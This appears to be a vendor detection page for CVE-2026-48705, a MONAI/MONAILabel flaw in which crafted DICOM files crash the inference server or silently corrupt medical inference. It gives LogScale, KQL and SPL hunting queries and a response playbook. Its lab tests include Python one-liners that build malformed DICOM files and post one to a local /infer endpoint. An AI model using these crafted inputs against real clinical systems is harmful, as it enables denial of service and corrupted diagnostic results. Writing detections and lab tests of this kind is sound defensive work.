Detect MONAILabel Crash / Silent Inference Corruption via Crafted DICOM (CVE-2026-48705) in CrowdStrike LogScale
Detects exploitation and exposure of CVE-2026-48705, an input-validation flaw (CWE-20) in MONAI < 1.6.1 where crafted DICOM files with malformed DS (Decimal String) / IS (Integer String) value representations bypass pydicom validation. This can crash the MONAILabel inference server (denial of service) or silently corrupt tensor inputs, producing incorrect medical inference results. Detection focuses on MONAILabel/MONAI server process crashes, Python tracebacks originating in pydicom valuerep/DICOM parsing during inference requests, anomalous DICOM uploads to inference endpoints, and the presence of vulnerable monai package versions in the environment.
MITRE ATT&CK
- Tactic
- Impact Initial Access
LogScale Detection Query
// df00tech DF00-93bea8bac4 · https://df00tech.com/detections/CVE-2026-48705 · licence: https://df00tech.com/detections/licence
#event_simpleName=ProcessRollup2 OR #event_simpleName=EndOfProcess
| in(field="ImageFileName", values=["*python*","*gunicorn*","*uvicorn*","*monailabel*"])
| CommandLine=/monai|monailabel|inference/i
| case {
ExitCode!=0 | ExitCode:=ExitCode ;
* | ExitCode:=0 ;
}
| test(ExitCode!=0)
| groupBy([ComputerName, ImageFileName], function=([count(as=terminations), max(@timestamp, as=last_seen)]))
| sort(terminations, order=desc) CrowdStrike CQL hunt for abnormal MONAILabel/MONAI Python worker terminations indicative of crafted-DICOM DoS in CVE-2026-48705.
Data Sources
Required Tables
False Positives & Tuning
- Normal service shutdowns and deployments
- OOM-killed workers under load
- Administrative restarts of the inference service
Other platforms for CVE-2026-48705
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Crafted DICOM with malformed DS value crashes MONAI LoadImage (lab)
Expected signal: Python traceback referencing pydicom.valuerep / monai.transforms and a non-zero process exit or worker SIGKILL in syslog.
- Test 2 Malformed IS (Integer String) VR submitted to inference endpoint (lab)
Expected signal: MONAILabel worker logs a ValueError/OverflowError traceback or restarts a worker (gunicorn 'Worker (pid ...) was sent SIGKILL').
- Test 3 Detect vulnerable MONAI version in environment
Expected signal: Process execution of pip/python reading the monai package metadata; version string logged.
Response Playbook
Triage
- Confirm the affected host runs MONAILabel/MONAI and determine the installed version with `pip show monai`, versions < 1.6.1 are vulnerable to CVE-2026-48705.
- Correlate the crash/parse-error timestamp with inference API access logs to identify the DICOM upload (source IP, user, study/series UID) that triggered the event.
- Retrieve and quarantine the suspect DICOM object; inspect its DS/IS value representations (e.g. with `dcmdump`) for malformed decimal/integer strings that bypass pydicom validation.
- Determine whether the event was a hard crash (DoS) or a silent parse anomaly where inference still returned a result, the latter risks corrupted clinical output.
Containment
- Restrict the MONAILabel inference endpoint to authenticated internal clients and block the offending source until triaged.
- Upgrade MONAI to >= 1.6.1 (`pip install --upgrade 'monai>=1.6.1'`) across all inference workers and redeploy.
- If immediate patching is not possible, add an upstream DICOM validation/sanitization gateway that rejects non-conforming DS/IS VRs before they reach MONAI.
Evidence Collection
- Preserve the raw crafted DICOM file, its SHA-256 hash, and the full inference request (headers/body) for forensic analysis.
- Capture the complete worker traceback, core dump if produced, and the gunicorn/uvicorn worker lifecycle logs around the crash.
- Export the inference server access logs and any generated (possibly corrupted) inference outputs associated with the request.
Escalation Criteria
- !Escalate to clinical safety/governance if silent inference corruption may have influenced a diagnostic result delivered to a clinician.
- !Escalate to incident response if crafted DICOM uploads originate from an external or untrusted network, or if repeated worker crashes cause sustained service denial.
Investigation Guide
Forensic Artifacts
- >
The crafted DICOM file and its malformed DS/IS data elements - >
Python tracebacks referencing pydicom.valuerep / monai.transforms.LoadImage - >
gunicorn/uvicorn worker restart and SIGKILL/segfault log entries - >
Core dump files from the crashed inference process
Tuning Guidance
Baseline normal MONAILabel worker restart frequency and benign DICOM parse-error rates before alerting; many clinical archives contain non-conforming-but-harmless DICOM. Prioritize events where parse errors reference monai.transforms/pydicom.valuerep AND originate from an external or newly-seen source IP, and suppress known CI/test hosts. Convert from alert to high-severity incident when a worker crash (segfault/SIGKILL) correlates directly with a specific inference upload.
Hunting Queries
Hunts for pydicom DS/IS validation errors co-occurring with MONAI inference activity to surface crafted-DICOM attempts.
// df00tech DF00-93bea8bac4 · https://df00tech.com/detections/CVE-2026-48705 · licence: https://df00tech.com/detections/licence
Syslog | where SyslogMessage has "pydicom" and SyslogMessage has_any ("valuerep","DSfloat","convert_value") | where SyslogMessage has_any ("ValueError","OverflowError","Traceback") | project TimeGenerated, Computer, SyslogMessage ``` df00tech DF00-93bea8bac4 · https://df00tech.com/detections/CVE-2026-48705 · licence: https://df00tech.com/detections/licence ```
index=* ("pydicom" AND ("valuerep" OR "DSfloat" OR "convert_value")) ("ValueError" OR "OverflowError" OR "Traceback") | stats count by host, source Atomic Red Team Tests
Generates a DICOM with an out-of-spec Decimal String (DS) VR and feeds it to MONAI's LoadImage transform to reproduce the validation-bypass crash on vulnerable versions.
Command
python3 -c "import pydicom, numpy as np; from pydicom.dataset import Dataset, FileMetaDataset; ds=Dataset(); ds.file_meta=FileMetaDataset(); ds.PixelSpacing=['1e999','nan']; ds.SliceThickness='4.0.0'; ds.Rows=2; ds.Columns=2; ds.PixelData=(np.zeros((2,2),dtype='uint16')).tobytes(); ds.is_little_endian=True; ds.is_implicit_VR=True; ds.save_as('/tmp/evil.dcm'); from monai.transforms import LoadImage; LoadImage()('/tmp/evil.dcm')" Cleanup
rm -f /tmp/evil.dcm Expected Telemetry
Python traceback referencing pydicom.valuerep / monai.transforms and a non-zero process exit or worker SIGKILL in syslog.
Expected Detection
KQL/SPL rules match the pydicom+valuerep traceback; EQL/CQL match the abnormal Python process termination.
Uploads a DICOM with an invalid Integer String value to the MONAILabel /infer endpoint to trigger server-side validation bypass.
Command
python3 -c "import pydicom; from pydicom.dataset import Dataset, FileMetaDataset; ds=Dataset(); ds.file_meta=FileMetaDataset(); ds.InstanceNumber='9'*4000; ds.Rows=1; ds.Columns=1; ds.PixelData=b'\x00\x00'; ds.is_little_endian=True; ds.is_implicit_VR=True; ds.save_as('/tmp/evil_is.dcm')" && curl -s -X POST -F 'file=@/tmp/evil_is.dcm' http://127.0.0.1:8000/infer/segmentation || true Cleanup
rm -f /tmp/evil_is.dcm Expected Telemetry
MONAILabel worker logs a ValueError/OverflowError traceback or restarts a worker (gunicorn 'Worker (pid ...) was sent SIGKILL').
Expected Detection
SPL/KQL match the MONAILabel worker crash and parse-error signature.
Enumerates the installed MONAI package version to confirm exposure to CVE-2026-48705 (< 1.6.1).
Command
pip show monai 2>/dev/null | grep -i '^Version:' || python3 -c "import monai; print('monai', monai.__version__)" Cleanup
echo 'no cleanup required' Expected Telemetry
Process execution of pip/python reading the monai package metadata; version string logged.
Expected Detection
Vulnerability-management correlation flags monai < 1.6.1 as affected by CVE-2026-48705.